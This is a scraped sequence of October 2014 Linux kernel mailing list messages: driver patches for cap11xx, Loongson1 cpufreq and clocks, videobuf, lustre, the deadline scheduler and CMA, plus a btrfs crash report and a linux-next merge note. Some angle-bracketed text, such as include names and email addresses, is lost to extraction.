>> + priv->num_channels = cap->num_channels;
>> + priv->keycodes = devm_kcalloc(dev,
>> + priv->num_channels, sizeof(u32), GFP_KERNEL);
>> + if (!priv->keycodes)
>> + return -ENOMEM;
>
> Instead of allocating keymap separately can we do something like below?
>
> Thanks.
>
> --
> Dmitry
>
>
> Input: cap11xx - add support for various cap11xx devices
>
> From: Matt Ranostay 
>
> Several other variants of the cap11xx device exists with a varying
> number of capacitance detection channels. Add support for creating
> the channels dynamically.
>
> Signed-off-by: Matt Ranostay 
> Reviewed-by: Daniel Mack 
> Signed-off-by: Dmitry Torokhov 
> ---
>  .../devicetree/bindings/input/cap11xx.txt  |3 +
>  drivers/input/keyboard/cap11xx.c   |   62 
> +---
>  2 files changed, 42 insertions(+), 23 deletions(-)
>
> diff --git a/Documentation/devicetree/bindings/input/cap11xx.txt 
> b/Documentation/devicetree/bindings/input/cap11xx.txt
> index 738f5f3..8031aa5 100644
> --- a/Documentation/devicetree/bindings/input/cap11xx.txt
> +++ b/Documentation/devicetree/bindings/input/cap11xx.txt
> @@ -7,9 +7,10 @@ Required properties:
>
> compatible: Must be on the following, depending on the 
> model:
> "microchip,cap1106"
> +   "microchip,cap1126"
> +   "microchip,cap1188"
>
> reg:The I2C slave address of the device.
> -   Only 0x28 is valid.
>
> interrupts: Property describing the interrupt line the
> device's ALERT#/CM_IRQ# pin is connected to.
> diff --git a/drivers/input/keyboard/cap11xx.c 
> b/drivers/input/keyboard/cap11xx.c
> index 0da2e83..87fa209 100644
> --- a/drivers/input/keyboard/cap11xx.c
> +++ b/drivers/input/keyboard/cap11xx.c
> @@ -1,7 +1,6 @@
>  /*
>   * Input driver for Microchip CAP11xx based capacitive touch sensors
>   *
> - *
>   * (c) 2014 Daniel Mack 
>   *
>   * This program is free software; you can redistribute it and/or modify
> @@ -54,8 +53,6 @@
>  #define CAP11XX_REG_MANUFACTURER_ID0xfe
>  #define CAP11XX_REG_REVISION   0xff
>
> -#define CAP11XX_NUM_CHN 6
> -#define CAP11XX_PRODUCT_ID 0x55
>  #define CAP11XX_MANUFACTURER_ID0x5d
>
>  struct cap11xx_priv {
> @@ -63,7 +60,24 @@ struct cap11xx_priv {
> struct input_dev *idev;
>
> /* config */
> -   unsigned short keycodes[CAP11XX_NUM_CHN];
> +   u32 keycodes[];
> +};
> +
> +struct cap11xx_hw_model {
> +   uint8_t product_id;
> +   unsigned int num_channels;
> +};
> +
> +enum {
> +   CAP1106,
> +   CAP1126,
> +   CAP1188,
> +};
> +
> +static const struct cap11xx_hw_model cap11xx_devices[] = {
> +   [CAP1106] = { .product_id = 0x55, .num_channels = 6 },
> +   [CAP1126] = { .product_id = 0x53, .num_channels = 6 },
> +   [CAP1188] = { .product_id = 0x50, .num_channels = 8 },
>  };
>
>  static const struct reg_default cap11xx_reg_defaults[] = {
> @@ -150,7 +164,7 @@ static irqreturn_t cap11xx_thread_func(int irq_num, void 
> *data)
> if (ret < 0)
> goto out;
>
> -   for (i = 0; i < CAP11XX_NUM_CHN; i++)
> +   for (i = 0; i < priv->idev->keycodemax; i++)
> input_report_key(priv->idev, priv->keycodes[i],
>  status & (1 << i));
>
> @@ -187,11 +201,16 @@ static int cap11xx_i2c_probe(struct i2c_client 
> *i2c_client,
> struct device *dev = _client->dev;
> struct cap11xx_priv *priv;
> struct device_node *node;
> +   const struct cap11xx_hw_model *cap = 
> _devices[id->driver_data];
> int i, error, irq, gain = 0;
> unsigned int val, rev;
> -   u32 gain32, keycodes[CAP11XX_NUM_CHN];
> +   u32 gain32;
> +
> +   BUG_ON(!cap->num_channels);
>
> -   priv = devm_kzalloc(dev, sizeof(*priv), GFP_KERNEL);
> +   priv = devm_kzalloc(dev,
> +   sizeof(*priv) + cap->num_channels * sizeof(u32),
> +   GFP_KERNEL);
> if (!priv)
> return -ENOMEM;
>
> @@ -203,9 +222,9 @@ static int cap11xx_i2c_probe(struct i2c_client 
> *i2c_client,
> if (error)
> return error;
>
> -   if (val != CAP11XX_PRODUCT_ID) {
> +   if (val != cap->product_id) {
> dev_err(dev, "Product ID: Got 0x%02x, expected 0x%02x\n",
> -   val, CAP11XX_PRODUCT_ID);
> +   val, cap->product_id);
> return -ENODEV;
> }
>
> @@ -225,8 +244,8 @@ static int cap11xx_i2c_probe(struct i2c_client 
> *i2c_client,
>
> dev_info(dev, "CAP11XX 

[PATCH 6/6] cpufreq: Loongson1: Add cpufreq driver for Loongson1B

2014-10-09 Thread Kelvin Cheung
Signed-off-by: Kelvin Cheung 
---
 drivers/cpufreq/Kconfig|  10 ++
 drivers/cpufreq/Makefile   |   1 +
 drivers/cpufreq/ls1x-cpufreq.c | 217 +
 3 files changed, 228 insertions(+)
 create mode 100644 drivers/cpufreq/ls1x-cpufreq.c

diff --git a/drivers/cpufreq/Kconfig b/drivers/cpufreq/Kconfig
index ffe350f..99464d7 100644
--- a/drivers/cpufreq/Kconfig
+++ b/drivers/cpufreq/Kconfig
@@ -250,6 +250,16 @@ config LOONGSON2_CPUFREQ
 
  If in doubt, say N.
 
+config LOONGSON1_CPUFREQ
+   tristate "Loongson1 CPUFreq Driver"
+   help
+ This option adds a CPUFreq driver for loongson1 processors which
+ support software configurable cpu frequency.
+
+ For details, take a look at .
+
+ If in doubt, say N.
+
 endmenu
 
 menu "PowerPC CPU frequency scaling drivers"
diff --git a/drivers/cpufreq/Makefile b/drivers/cpufreq/Makefile
index db6d9a2..aca7bd3 100644
--- a/drivers/cpufreq/Makefile
+++ b/drivers/cpufreq/Makefile
@@ -98,6 +98,7 @@ obj-$(CONFIG_CRIS_MACH_ARTPEC3)   += 
cris-artpec3-cpufreq.o
 obj-$(CONFIG_ETRAXFS)  += cris-etraxfs-cpufreq.o
 obj-$(CONFIG_IA64_ACPI_CPUFREQ)+= ia64-acpi-cpufreq.o
 obj-$(CONFIG_LOONGSON2_CPUFREQ)+= loongson2_cpufreq.o
+obj-$(CONFIG_LOONGSON1_CPUFREQ)+= ls1x-cpufreq.o
 obj-$(CONFIG_SH_CPU_FREQ)  += sh-cpufreq.o
 obj-$(CONFIG_SPARC_US2E_CPUFREQ)   += sparc-us2e-cpufreq.o
 obj-$(CONFIG_SPARC_US3_CPUFREQ)+= sparc-us3-cpufreq.o
diff --git a/drivers/cpufreq/ls1x-cpufreq.c b/drivers/cpufreq/ls1x-cpufreq.c
new file mode 100644
index 000..3d9a410
--- /dev/null
+++ b/drivers/cpufreq/ls1x-cpufreq.c
@@ -0,0 +1,217 @@
+/*
+ * CPU Frequency Scaling for Loongson 1 SoC
+ *
+ * Copyright (C) 2014 Zhang, Keguang 
+ *
+ * This file is licensed under the terms of the GNU General Public
+ * License version 2. This program is licensed "as is" without any
+ * warranty of any kind, whether express or implied.
+ */
+
+#include 
+#include 
+#include 
+#include 
+#include 
+#include 
+#include 
+#include 
+
+#include 
+#include 
+
+static struct {
+   struct clk *clk;/* CPU clk */
+   struct clk *mux_clk;/* MUX of CPU clk */
+   struct clk *pll_clk;/* PLL clk */
+   struct clk *osc_clk;/* OSC clk */
+   unsigned int max_freq;
+   unsigned int min_freq;
+   struct cpufreq_frequency_table *freq_tbl;
+} ls1x_cpufreq;
+
+static int ls1x_cpufreq_notifier(struct notifier_block *nb,
+unsigned long val, void *data)
+{
+   if (val == CPUFREQ_POSTCHANGE)
+   current_cpu_data.udelay_val = loops_per_jiffy;
+
+   return NOTIFY_OK;
+}
+
+static struct notifier_block ls1x_cpufreq_notifier_block = {
+   .notifier_call = ls1x_cpufreq_notifier
+};
+
+static int ls1x_cpufreq_target(struct cpufreq_policy *policy,
+  unsigned int index)
+{
+   struct device *dev = get_cpu_device(policy->cpu);
+   unsigned int old_freq, new_freq;
+
+   old_freq = policy->cur;
+   new_freq = ls1x_cpufreq.freq_tbl[index].frequency;
+
+   /*
+* The procedure of reconfiguring CPU clk is as below.
+*
+*  - Reparent CPU clk to OSC clk
+*  - Reset CPU clock (very important)
+*  - Reconfigure CPU DIV
+*  - Reparent CPU clk back to CPU DIV clk
+*/
+
+   dev_dbg(dev, "%u KHz --> %u KHz\n", old_freq, new_freq);
+   clk_set_parent(policy->clk, ls1x_cpufreq.osc_clk);
+   __raw_writel(__raw_readl(LS1X_CLK_PLL_DIV) | RST_CPU_EN | RST_CPU,
+LS1X_CLK_PLL_DIV);
+   __raw_writel(__raw_readl(LS1X_CLK_PLL_DIV) & ~(RST_CPU_EN | RST_CPU),
+LS1X_CLK_PLL_DIV);
+   clk_set_rate(ls1x_cpufreq.mux_clk, new_freq * 1000);
+   clk_set_parent(policy->clk, ls1x_cpufreq.mux_clk);
+
+   return 0;
+}
+
+static int ls1x_cpufreq_init(struct cpufreq_policy *policy)
+{
+   struct device *dev = get_cpu_device(policy->cpu);
+   struct cpufreq_frequency_table *freq_tbl;
+   unsigned int pll_freq, freq;
+   int steps, i;
+
+   pll_freq = clk_get_rate(ls1x_cpufreq.pll_clk) / 1000;
+
+   steps = 1 << DIV_CPU_WIDTH;
+   freq_tbl = kzalloc(sizeof(*freq_tbl) * steps, GFP_KERNEL);
+   if (!freq_tbl) {
+   dev_err(dev, "failed to alloc cpufreq_frequency_table\n");
+   return -ENOMEM;
+   }
+
+   for (i = 0; i < (steps - 1); i++) {
+   freq = pll_freq / (i + 1);
+   if ((freq < ls1x_cpufreq.min_freq) ||
+   (freq > ls1x_cpufreq.max_freq))
+   freq_tbl[i].frequency = CPUFREQ_ENTRY_INVALID;
+   else
+   freq_tbl[i].frequency = freq;
+   dev_dbg(dev, "cpufreq table: index %d: frequency %d\n", i,
+   freq_tbl[i].frequency);
+   }
+   

[PATCH 5/6] clk: ls1x: Update relationship among all clocks

2014-10-09 Thread Kelvin Cheung
 - Add clock lookups for APB devices.
 - Update clock relationship to make it more exact and clear.
 _
 ___| |
 OSC ___/   | MUX |___ XXX CLK
\___ PLL ___ XXX DIV ___| |
|_|

Signed-off-by: Kelvin Cheung 
---
 drivers/clk/clk-ls1x.c | 109 -
 1 file changed, 80 insertions(+), 29 deletions(-)

diff --git a/drivers/clk/clk-ls1x.c b/drivers/clk/clk-ls1x.c
index f20b750..ca80103 100644
--- a/drivers/clk/clk-ls1x.c
+++ b/drivers/clk/clk-ls1x.c
@@ -15,7 +15,8 @@
 
 #include 
 
-#define OSC33
+#define OSC(33 * 100)
+#define DIV_APB2
 
 static DEFINE_SPINLOCK(_lock);
 
@@ -29,13 +30,12 @@ static void ls1x_pll_clk_disable(struct clk_hw *hw)
 }
 
 static unsigned long ls1x_pll_recalc_rate(struct clk_hw *hw,
-unsigned long parent_rate)
+ unsigned long parent_rate)
 {
u32 pll, rate;
 
pll = __raw_readl(LS1X_CLK_PLL_FREQ);
-   rate = ((12 + (pll & 0x3f)) * 100) +
-   pll >> 8) & 0x3ff) * 100) >> 10);
+   rate = 12 + (pll & 0x3f) + (((pll >> 8) & 0x3ff) >> 10);
rate *= OSC;
rate >>= 1;
 
@@ -48,8 +48,10 @@ static const struct clk_ops ls1x_pll_clk_ops = {
.recalc_rate = ls1x_pll_recalc_rate,
 };
 
-static struct clk * __init clk_register_pll(struct device *dev,
-const char *name, const char *parent_name, unsigned long flags)
+static struct clk *__init clk_register_pll(struct device *dev,
+  const char *name,
+  const char *parent_name,
+  unsigned long flags)
 {
struct clk_hw *hw;
struct clk *clk;
@@ -78,34 +80,83 @@ static struct clk * __init clk_register_pll(struct device 
*dev,
return clk;
 }
 
+static const char const *cpu_parents[] = { "cpu_clk_div", "osc_33m_clk", };
+static const char const *ahb_parents[] = { "ahb_clk_div", "osc_33m_clk", };
+static const char const *dc_parents[] = { "dc_clk_div", "osc_33m_clk", };
+
 void __init ls1x_clk_init(void)
 {
struct clk *clk;
 
-   clk = clk_register_pll(NULL, "pll_clk", NULL, CLK_IS_ROOT);
-   clk_prepare_enable(clk);
-
-   clk = clk_register_divider(NULL, "cpu_clk", "pll_clk",
-   CLK_SET_RATE_PARENT, LS1X_CLK_PLL_DIV, DIV_CPU_SHIFT,
-   DIV_CPU_WIDTH, CLK_DIVIDER_ONE_BASED, &_lock);
-   clk_prepare_enable(clk);
-   clk_register_clkdev(clk, "cpu", NULL);
-
-   clk = clk_register_divider(NULL, "dc_clk", "pll_clk",
-   CLK_SET_RATE_PARENT, LS1X_CLK_PLL_DIV, DIV_DC_SHIFT,
-   DIV_DC_WIDTH, CLK_DIVIDER_ONE_BASED, &_lock);
-   clk_prepare_enable(clk);
-   clk_register_clkdev(clk, "dc", NULL);
-
-   clk = clk_register_divider(NULL, "ahb_clk", "pll_clk",
-   CLK_SET_RATE_PARENT, LS1X_CLK_PLL_DIV, DIV_DDR_SHIFT,
-   DIV_DDR_WIDTH, CLK_DIVIDER_ONE_BASED, &_lock);
-   clk_prepare_enable(clk);
-   clk_register_clkdev(clk, "ahb", NULL);
+   clk = clk_register_fixed_rate(NULL, "osc_33m_clk", NULL, CLK_IS_ROOT,
+ OSC);
+   clk_register_clkdev(clk, "osc_33m_clk", NULL);
+
+   /* clock derived from 33 MHz OSC clk */
+   clk = clk_register_pll(NULL, "pll_clk", "osc_33m_clk", 0);
+   clk_register_clkdev(clk, "pll_clk", NULL);
+
+   /* clock derived from PLL clk */
+   /* _
+* ___| |
+* OSC ___/   | MUX |___ CPU CLK
+*\___ PLL ___ CPU DIV ___| |
+*|_|
+*/
+   clk = clk_register_divider(NULL, "cpu_clk_div", "pll_clk",
+  CLK_GET_RATE_NOCACHE, LS1X_CLK_PLL_DIV,
+  DIV_CPU_SHIFT, DIV_CPU_WIDTH,
+  CLK_DIVIDER_ONE_BASED |
+  CLK_DIVIDER_ROUND_CLOSEST, &_lock);
+   clk_register_clkdev(clk, "cpu_clk_div", NULL);
+   clk = clk_register_mux(NULL, "cpu_clk", cpu_parents,
+  ARRAY_SIZE(cpu_parents),
+  CLK_SET_RATE_NO_REPARENT, LS1X_CLK_PLL_DIV,
+  BYPASS_CPU_SHIFT, BYPASS_CPU_WIDTH, 0, &_lock);
+   clk_register_clkdev(clk, "cpu_clk", NULL);
+
+   /* _
+* ___| |
+* OSC ___/   | MUX |___ DC  CLK
+*\___ PLL ___ DC  DIV ___| |
+*|_|
+*/
+   clk = clk_register_divider(NULL, 

[PATCH v2] [media] videobuf-dma-contig: set vm_pgoff to be zero to pass the sanity check in vm_iomap_memory().

2014-10-09 Thread Fancy Fang
When user requests V4L2_MEMORY_MMAP type buffers, the videobuf-core
will assign the corresponding offset to the 'boff' field of the
videobuf_buffer for each requested buffer sequentially. Later, user
may call mmap() to map one or all of the buffers with the 'offset'
parameter which is equal to its 'boff' value. Obviously, the 'offset'
value is only used to find the matched buffer instead of to be the
real offset from the buffer's physical start address as used by
vm_iomap_memory(). So, in some case that if the offset is not zero,
vm_iomap_memory() will fail.

Signed-off-by: Fancy Fang 
Reviewed-by: Marek Szyprowski 
Reviewed-by: Hans Verkuil 
---
 drivers/media/v4l2-core/videobuf-dma-contig.c | 9 +
 1 file changed, 9 insertions(+)

diff --git a/drivers/media/v4l2-core/videobuf-dma-contig.c 
b/drivers/media/v4l2-core/videobuf-dma-contig.c
index bf80f0f..e02353e 100644
--- a/drivers/media/v4l2-core/videobuf-dma-contig.c
+++ b/drivers/media/v4l2-core/videobuf-dma-contig.c
@@ -305,6 +305,15 @@ static int __videobuf_mmap_mapper(struct videobuf_queue *q,
/* Try to remap memory */
size = vma->vm_end - vma->vm_start;
vma->vm_page_prot = pgprot_noncached(vma->vm_page_prot);
+
+   /* the "vm_pgoff" is just used in v4l2 to find the
+* corresponding buffer data structure which is allocated
+* earlier and it does not mean the offset from the physical
+* buffer start address as usual. So set it to 0 to pass
+* the sanity check in vm_iomap_memory().
+*/
+   vma->vm_pgoff = 0;
+
retval = vm_iomap_memory(vma, mem->dma_handle, size);
if (retval) {
dev_err(q->dev, "mmap: remap failed with error %d. ",
-- 
1.9.1

--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/


Re: [PATCH resend] staging, lustre: fix a sparse error

2014-10-09 Thread WANG Chao
On 10/09/14 at 05:58pm, Sudip Mukherjee wrote:
> On Thu, Oct 09, 2014 at 06:25:10PM +0800, WANG Chao wrote:
> > This fixes the following sparse error:
> > 
> > drivers/staging/lustre/lnet/klnds/socklnd/socklnd_lib-linux.c:393:9: error:
> > incompatible types in comparison expression (different address spaces)
> > 
> > Signed-off-by: WANG Chao 
> > ---
> >  drivers/staging/lustre/lnet/klnds/socklnd/socklnd_lib-linux.c | 2 +-
> >  1 file changed, 1 insertion(+), 1 deletion(-)
> > 
> > diff --git a/drivers/staging/lustre/lnet/klnds/socklnd/socklnd_lib-linux.c 
> > b/drivers/staging/lustre/lnet/klnds/socklnd/socklnd_lib-linux.c
> > index 245c9d7..1510594 100644
> > --- a/drivers/staging/lustre/lnet/klnds/socklnd/socklnd_lib-linux.c
> > +++ b/drivers/staging/lustre/lnet/klnds/socklnd/socklnd_lib-linux.c
> > @@ -390,7 +390,7 @@ ksocknal_lib_csum_tx(ksock_tx_t *tx)
> > __u32   csum;
> > void*base;
> >  
> > -   LASSERT(tx->tx_iov[0].iov_base == (void *)>tx_msg);
> > +   LASSERT((void __force *) tx->tx_iov[0].iov_base == (void *)>tx_msg);
> is it ok? are you not just suppressing the sparse error?
> iov_base is void __user *  

I think __user annotation is for no dereferencing in kernel space. In
this case, I think it's fine to override this error by __force. Because
they're pointers with identical target types.

Thanks
WANG Chao
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/


Re: [PATCH] staging: rtl8192u: correct coding style errors

2014-10-09 Thread Tsung-Han Lin
On Thu, Oct 09, 2014 at 12:48:24PM -0700, Greg KH wrote:
> On Fri, Oct 10, 2014 at 01:02:02AM +0800, Tsung-Han Lin wrote:
> > Correct some coding style errors in
> > drivers/staging/rtl8192u/r819xU_firmware.c.
> > 
> > Signed-off-by: Tsung-Han Lin 
> > ---
> >  drivers/staging/rtl8192u/r819xU_firmware.c | 65 
> > +++---
> >  1 file changed, 33 insertions(+), 32 deletions(-)
> 
> This doesn't apply due to changes others have made in this file.  Also,
> listen to Joe's comments for your next patch.
> 
> thanks,
> 
> greg k-h

Thanks Greg and Joe for the comments.
I will try to make them better next time.

Tsung-Han Lin
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/


[PATCH] sched/deadline: do not try to push tasks if pinned task switches to dl

2014-10-09 Thread Wanpeng Li
As Kirill mentioned(https://lkml.org/lkml/2013/1/29/118):
| If rq has already had 2 or more pushable tasks and we try to add a 
| pinned task then call of push_rt_task will just waste a time.

Just switched pinned task is not able to be pushed. If the rq had had
several dl tasks before they have already been considered as candidates
to be pushed (or pulled). This patch does the same behavior as rt class 
which introduced by commit 104479 (sched/rt: Do not try to push tasks 
if pinned task switches to RT). 

Signed-off-by: Wanpeng Li 
---
 kernel/sched/deadline.c | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/kernel/sched/deadline.c b/kernel/sched/deadline.c
index abfaf3d..cf7c9b6 100644
--- a/kernel/sched/deadline.c
+++ b/kernel/sched/deadline.c
@@ -1603,7 +1603,8 @@ static void switched_to_dl(struct rq *rq, struct 
task_struct *p)
 
if (task_on_rq_queued(p) && rq->curr != p) {
 #ifdef CONFIG_SMP
-   if (rq->dl.overloaded && push_dl_task(rq) && rq != task_rq(p))
+   if (p->nr_cpus_allowed > 1 && rq->dl.overloaded
+   && push_dl_task(rq) && rq != task_rq(p))
/* Only reschedule if pushing failed */
check_resched = 0;
 #endif /* CONFIG_SMP */
-- 
1.9.1

--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/


[Btrfs] kernel BUG at fs/btrfs/inode.c:3123!

2014-10-09 Thread Fengguang Wu
Hi Josef,

FYI, we noticed the below changes on

git://git.kernel.org/pub/scm/linux/kernel/git/next/linux-next.git master
commit 47ab2a6c689913db23ccae38349714edf8365e0a ("Btrfs: remove empty block 
groups automatically")


testbox/testcase/testparams: lkp-st02/dd-write/5m-11HDD-RAID5-cfq-btrfs-10dd

8407f553268a4611  47ab2a6c689913db23ccae3834  
  --  
   fail:runs  %reproductionfail:runs
   ||  |
   :1   80%   4:5 
dmesg.kernel_BUG_at_fs/btrfs/inode.c
   :1   80%   4:5 dmesg.invalid_opcode
   :1   80%   4:5 
dmesg.Kernel_panic-not_syncing:Fatal_exception
   :1   20%   1:5 last_state.booting
   :1   60%   3:5 last_state.is_incomplete_run
   :1   40%   2:5 last_state.running

kexecing...
kexec -l 
/tmp//kernel/x86_64-rhel/a308edf16c35a3667e85e8545a530812915a71bf/vmlinuz-3.17.0-ga308edf
 --initrd=/tmp/initrd-6217 --append="user=lkp 
job=/lkp/scheduled/lkp-st02/cyclic_dd-write-5m-11HDD-RAID5-cfq-btrfs-100dd-x86_64-rhel-HEAD-a308edf16c35a3667e85e8545a530812915a71bf-0.yaml
 ARCH=x86_64 
BOOT_IMAGE=/kernel/x86_64-rhel/a308edf16c35a3667e85e8545a530812915a71bf/vmlinuz-3.17.0-ga308edf
 kconfig=x86_64-rhel commit=a308edf16c35a3667e85e8545a530812915a71bf 
branch=linux-devel/devel-hourly-2014100822 root=/dev/ram0 max_uptime=1500 
RESULT_ROOT=/result/lkp-st02/dd-write/5m-11HDD-RAID5-cfq-btrfs-100dd/debian-x86_64.cgz/x86_64-rhel/a308edf16c35a3667e85e8545a530812915a71bf/0
 ip=lkp-st02:eth1:dhcp earlyprintk=ttyS0,115200 debug apic=debug 
sysrq_always_enabled rcupdate.rcu_cpu_stall_timeout=100 panic=-1 
softlockup_panic=1 nmi_watchdog=panic oops=panic load_ramdisk=2 
prompt_ramdisk=0 console=ttyS0,115200 console=tty0 vga=normal rw"
[  373.673403] [ cut here ]
[  373.674366] kernel BUG at fs/btrfs/inode.c:3123!
[  373.674366] invalid opcode:  [#1] SMP 
[  373.674366] Modules linked in: btrfs raid456 async_raid6_recov async_memcpy 
async_pq async_xor xor async_tx raid6_pq ipmi_watchdog ipmi_msghandler ses 
enclosure sg sd_mod crc_t10dif crct10dif_generic crct10dif_common ata_generic 
pata_acpi snd_pcm snd_timer ata_piix parport_pc floppy snd i5400_edac parport 
soundcore libata i2c_i801 serio_raw mptsas pcspkr edac_core mptscsih 
tpm_infineon mptbase i5k_amb shpchp scsi_transport_sas
[  373.674366] CPU: 7 PID: 2172 Comm: btrfs-cleaner Not tainted 3.17.0-ga308edf 
#1
[  373.674366] Hardware name: Supermicro X7DW3/X7DWN, BIOS 6.00 09/28/2007
[  373.674366] task: 8800bd72 ti: 8800bd728000 task.ti: 
8800bd728000
[  373.674366] RIP: 0010:[]  [] 
btrfs_orphan_add+0x1c0/0x1e0 [btrfs]
[  373.674366] RSP: 0018:8800bd72bca0  EFLAGS: 00010286
[  373.674366] RAX: ffe4 RBX: 88022da60800 RCX: 88022b8fe000
[  373.674366] RDX: 07d0 RSI: 0004 RDI: 88022b8fe138
[  373.674366] RBP: 8800bd72bcd0 R08: 60fdd0002340 R09: 8801219343f0
[  373.674366] R10: e8dc2380 R11: ea0003004300 R12: 88010071ac98
[  373.674366] R13: 8800a7f90aa0 R14: 88022da60c58 R15: 0001
[  373.674366] FS:  () GS:88022fdc() 
knlGS:
[  373.674366] CS:  0010 DS:  ES:  CR0: 8005003b
[  373.674366] CR2: 7f6bad137148 CR3: 00022ec3c000 CR4: 07e0
[  373.674366] Stack:
[  373.674366]  a0263691 88021ad6 8801219343f0 
0001
[  373.674366]  88010071ac98 880094ca1600 8800bd72bd48 
a020f796
[  373.674366]  8801219343f0 880121934470 8804 
88022da60800
[  373.674366] Call Trace:
[  373.674366]  [] ? lookup_free_space_inode+0x41/0xf0 [btrfs]
[  373.674366]  [] btrfs_remove_block_group+0x136/0x510 
[btrfs]
[  373.674366]  [] btrfs_remove_chunk+0x66a/0x7f0 [btrfs]
[  373.674366]  [] btrfs_delete_unused_bgs+0x21e/0x250 [btrfs]
[  373.674366]  [] cleaner_kthread+0x164/0x1e0 [btrfs]
[  373.674366]  [] ? write_all_supers+0xb70/0xb70 [btrfs]
[  373.674366]  [] kthread+0xdb/0x100
[  373.674366]  [] ? kthread_create_on_node+0x180/0x180
[  373.674366]  [] ret_from_fork+0x7c/0xb0
[  373.674366]  [] ? kthread_create_on_node+0x180/0x180
[  373.674366] Code: 60 04 00 00 e9 b0 fe ff ff 66 90 89 45 d0 f0 41 80 64 24 
80 fd 4c 89 e7 e8 3e 2a fe ff 8b 45 d0 e9 1b ff ff ff 66 0f 1f 44 00 00 <0f> 0b 
b8 f4 ff ff ff e9 10 ff ff ff 4c 89 f7 45 31 f6 e8 99 a2 
[  373.674366] RIP  [] btrfs_orphan_add+0x1c0/0x1e0 [btrfs]
[  373.674366]  RSP 
[  373.952497] ---[ end trace c0d0f39b387c06ce ]---
[  373.957232] Kernel panic - not syncing: Fatal exception


Thanks,
Fengguang
early console in decompress_kernel

Decompressing Linux... Parsing ELF... done.
Booting the kernel.
[0.00] Initializing cgroup subsys cpuset
[0.00] Initializing cgroup subsys cpu
[

[PATCH] mm/cma: fix cma bitmap aligned mask computing

2014-10-09 Thread Weijie Yang
The current cma bitmap aligned mask compute way is incorrect, it could
cause an unexpected align when using cma_alloc() if wanted align order
is bigger than cma->order_per_bit.

Take kvm for example (PAGE_SHIFT = 12), kvm_cma->order_per_bit is set to 6,
when kvm_alloc_rma() tries to alloc kvm_rma_pages, it will input 15 as
expected align value, after using current computing, however, we get 0 as
cma bitmap aligned mask other than 511.

This patch fixes the cma bitmap aligned mask compute way.

Signed-off-by: Weijie Yang 
---
 mm/cma.c |5 -
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/mm/cma.c b/mm/cma.c
index c17751c..f6207ef 100644
--- a/mm/cma.c
+++ b/mm/cma.c
@@ -57,7 +57,10 @@ unsigned long cma_get_size(struct cma *cma)
 
 static unsigned long cma_bitmap_aligned_mask(struct cma *cma, int align_order)
 {
-   return (1UL << (align_order >> cma->order_per_bit)) - 1;
+   if (align_order <= cma->order_per_bit)
+   return 0;
+   else
+   return (1UL << (align_order - cma->order_per_bit)) - 1;
 }
 
 static unsigned long cma_bitmap_maxno(struct cma *cma)
-- 
1.7.10.4


--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majord...@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/


linux-next: manual merge of the mmc-uh tree with Linus' tree

2014-10-09 Thread Stephen Rothwell
Hi Ulf,

Today's linux-next merge of the mmc-uh tree got a conflict in
arch/arm/boot/dts/exynos5420-arndale-octa.dts between commit
aaa25a5a33cb ("ARM: dts: unuse the slot-node and deprecate the
supports-highspeed for dw-mmc in exynos") from Linus' tree and commit
583f958b8a23 ("ARM: dts: fix MMC2 regulators for Exynos5420 Arndale
Octa board") from the mmc-uh tree.

I fixed it up (see below) and can carry the fix as necessary (no action
is required).

-- 
Cheers,
Stephen Rothwells...@canb.auug.org.au

diff --cc arch/arm/boot/dts/exynos5420-arndale-octa.dts
index 75080996ec76,1255d833d576..
--- a/arch/arm/boot/dts/exynos5420-arndale-octa.dts
+++ b/arch/arm/boot/dts/exynos5420-arndale-octa.dts
@@@ -69,9 -74,13 +69,10 @@@
samsung,dw-mshc-ddr-timing = <1 2>;
pinctrl-names = "default";
pinctrl-0 = <_clk _cmd _cd _bus4>;
-   vmmc-supply = <_reg>;
+   vmmc-supply = <_reg>;
+   vqmmc-supply = <_reg>;
 -
 -  slot@0 {
 -  reg = <0>;
 -  bus-width = <4>;
 -  };
 +  bus-width = <4>;
 +  cap-sd-highspeed;
};
  
hsi2c_4: i2c@12CA {


signature.asc
Description: PGP signature


Re: [PATCH] smaps should deal with huge zero page exactly same as normal zero page

2014-10-09 Thread Fengwei Yin
On Thu, Oct 09, 2014 at 09:36:30AM -0700, Dave Hansen wrote:
> On 10/09/2014 02:19 AM, Fengwei Yin wrote:
> > diff --git a/fs/proc/task_mmu.c b/fs/proc/task_mmu.c
> > index 80ca4fb..8550b27 100644
> > --- a/fs/proc/task_mmu.c
> > +++ b/fs/proc/task_mmu.c
> > @@ -476,7 +476,7 @@ static void smaps_pte_entry(pte_t ptent, unsigned long 
> > addr,
> > mss->nonlinear += ptent_size;
> > }
> >  
> > -   if (!page)
> > +   if (!page || is_huge_zero_page(page))
> > return;
> 
> This really seems like a bit of a hack.  A normal (small) zero page
> won't make it to this point because of the vm_normal_page() check in
> smaps_pte_entry() which hits the _PAGE_SPECIAL bit in the pte.
> 
> Is there a reason we can't set _PAGE_SPECIAL on the huge_zero_page ptes?
>  If we did that, we wouldn't need a special case here.
> 
> If we can't do that for some reason, can we at least teach
> vm_normal_page() about the huge_zero_page in some other way?
> 
Thanks a lot for the comments. I will check whether could remove the
hack.

> > if (PageAnon(page))
> > @@ -516,7 +516,8 @@ static int smaps_pte_range(pmd_t *pmd, unsigned long 
> > addr, unsigned long end,
> > if (pmd_trans_huge_lock(pmd, vma, ) == 1) {
> > smaps_pte_entry(*(pte_t *)pmd, addr, HPAGE_PMD_SIZE, walk);
> > spin_unlock(ptl);
> > -   mss->anonymous_thp += HPAGE_PMD_SIZE;
> > +   if (!is_huge_zero_pmd(*pmd))
> > +   mss->anonymous_thp += HPAGE_PMD_SIZE;
